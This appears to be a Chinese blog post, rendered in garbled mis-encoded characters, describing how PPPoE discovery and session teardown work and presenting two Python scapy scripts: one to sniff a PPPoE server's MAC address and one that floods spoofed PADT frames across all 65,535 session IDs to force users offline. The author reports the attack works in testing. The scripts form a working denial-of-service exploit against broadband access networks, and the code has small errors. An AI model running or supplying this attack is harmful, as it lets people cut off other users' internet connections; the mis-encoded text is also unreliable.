PPPoE協(xié)議是一個非常良好的協(xié)議,它具有帶寬控制、用戶認證、防ARP病毒等功能,基本上可以滿足網(wǎng)絡人員對用戶的管理,多用于adsl撥號,許多運行商就是通過pppoe撥號對用戶實現(xiàn)寬帶接入
本人在使用PPPoE協(xié)議過程中,對PPPoE協(xié)議進行了學習,發(fā)現(xiàn)PPPoE有一些不足,研究如下
PPPoE認證分為兩個階段:
第一階段:發(fā)現(xiàn)階段
- pppoe client廣播發(fā)送PADI數(shù)據(jù)包建立連接
- pppoe server回復一個PADO單播幀
- client回復一個PADR單播請求,期望進行會話
- pppoe server回復一個PADS數(shù)據(jù)包,同意進行下一步協(xié)商(包中攜帶一個sessionid,作為用戶的憑證之一)
第二階斷:會話階段
雙方使用PPP的LCP協(xié)議協(xié)商鏈路,NCP進行用戶名密碼檢驗,雙方完成通訊
在第一階段pppoe會話重要依據(jù)就是雙方的mac地址,在和sessionid
在用戶下線的時候,用戶會發(fā)送PADT數(shù)據(jù)包進行協(xié)商,斷開會話連接
那么問題來了:如果我們冒充服務器(客戶),向客戶(服務器)發(fā)送偽造的特定格式的PADT數(shù)據(jù)包,會不會斷開會話?基于這一思路,我利用python的scapy模塊寫出了一個程序,經(jīng)過測試,這個思路完全正確,可以達到斷開會話的目的
攻擊的原理:在pppoe client發(fā)送廣播幀發(fā)送discovery時,監(jiān)聽網(wǎng)絡,得到client mac地址,再對client發(fā)送一個PADT數(shù)據(jù)包,包中包含sessionid,這時就可以使client誤以為server結(jié)束了連接。注意:在發(fā)送病毒幀時,雙方應該已經(jīng)完成了第一階段的會話
由于我們不清楚客戶獲得的sessionid,所以對于sessionid的取值直接使用了數(shù)據(jù)字典,因此為了破壞連接必須發(fā)送65535個數(shù)據(jù)包,所需時間較長
攻擊的python代碼如下:
這段代碼可以獲得PPPoE服務器的mac地址
from scapy.all import *
from struct import *
import threading
def packet(code=0x09,len=12,macadd='ff:ff:ff:ff:ff:ff'):
a=Ether()/PPPoE()/Raw()
a.dst=macadd
a.type=0x8863
a.payload.version=1
a.payload.type=1
a.payload.code=code
a.payload.len=len
a.payload.payload.load=pack("12B",0x01,0x01,0,0,0x01,0x03,0,0x04,0x25,0x1d,0,0)
return a
def sniffPPPoE():
c=sniff(filter='pppoed',count=2)
c[1].show()
t = threading.Thread(target=sniffPPPoE)
if __name__ == '__main__':
t.start()
time.sleep(1)
sendp(packet(code=0x09))
這段代碼可以斷開連接,src地址需修改,為服務器mac地址,可由上面程序獲得
rom scapy.all import *
a=sniff(filter='pppoed',count=1)
time.sleep(3)
for i in range(65535):
c=Ether()/PPPoE()
c.dst=a[0].src
c.src="00:0c:29:1e:c1:3a"
c.type=0x8863
c.payload.code=0xa7
c.payload.sessionid=i
c.payload.len=0
sendp(c)
print "send session:"+str(i)